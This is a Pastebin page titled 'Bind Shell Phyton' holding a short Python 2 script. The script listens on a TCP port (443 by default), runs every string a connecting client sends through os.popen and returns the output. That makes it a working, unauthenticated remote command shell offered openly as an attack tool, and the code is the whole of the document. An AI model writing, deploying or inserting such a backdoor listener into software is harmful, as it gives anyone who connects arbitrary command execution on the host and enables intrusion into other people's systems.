Advertisement
aljazara

Bind Shell Phyton

Mar 14th, 2014
110
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.02 KB | None | 0 0
  1. # Server  
  2.  
  3. import sys  
  4. import socket  
  5. import os  
  6.  
  7. host = '';  
  8. SIZE = 512;  
  9.  
  10. try :  
  11.      port = sys.argv[1];  
  12.  
  13. except :  
  14.      port = 443;  
  15.  
  16. try :  
  17.      sockfd = socket.socket(socket.AF_INET , socket.SOCK_STREAM);  
  18.  
  19. except socket.error , e :  
  20.  
  21.      print "Error in creating socket : ",e ;  
  22.      sys.exit(1);  
  23.  
  24. sockfd.setsockopt(socket.SOL_SOCKET , socket.SO_REUSEADDR , 1);  
  25.  
  26. try :  
  27.      sockfd.bind((host,port));  
  28.  
  29. except socket.error , e :        
  30.      print "Error in Binding : ",e;
  31.      sys.exit(1);  
  32.  
  33. print("\n\n======================================================");
  34. print("-------- Server Listening on Port %d --------------" % port);  
  35. print("======================================================\n\n");
  36.  
  37. try :  
  38.      while 1 : # listen for connections  
  39.          sockfd.listen(1);  
  40.          clientsock , clientaddr = sockfd.accept();  
  41.          print("\n\nGot Connection from " + str(clientaddr));  
  42.          while 1 :  
  43.              try :  
  44.                  cmd = clientsock.recv(SIZE);  
  45.              except :  
  46.                  break;  
  47.              pipe = os.popen(cmd);  
  48.              rawOutput = pipe.readlines();  
  49.  
  50.              print(cmd);  
  51.            
  52.              if cmd == 'g2g': # close the connection and move on for others  
  53.                  print("\n-----------Connection Closed----------------");  
  54.                  clientsock.shutdown();  
  55.                  break;  
  56.              try :  
  57.                  output = "";  
  58.                  # Parse the output from list to string  
  59.                  for data in rawOutput :  
  60.                       output = output+data;  
  61.                    
  62.                  clientsock.send("Command Output :- \n"+output+"\r\n");  
  63.                
  64.              except socket.error , e :  
  65.                    
  66.                  print("\n-----------Connection Closed--------");  
  67.                  clientsock.close();  
  68.                  break;  
  69. except  KeyboardInterrupt :  
  70.  
  71.  
  72.      print("\n\n>>>> See You =) <<<<<\n");
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement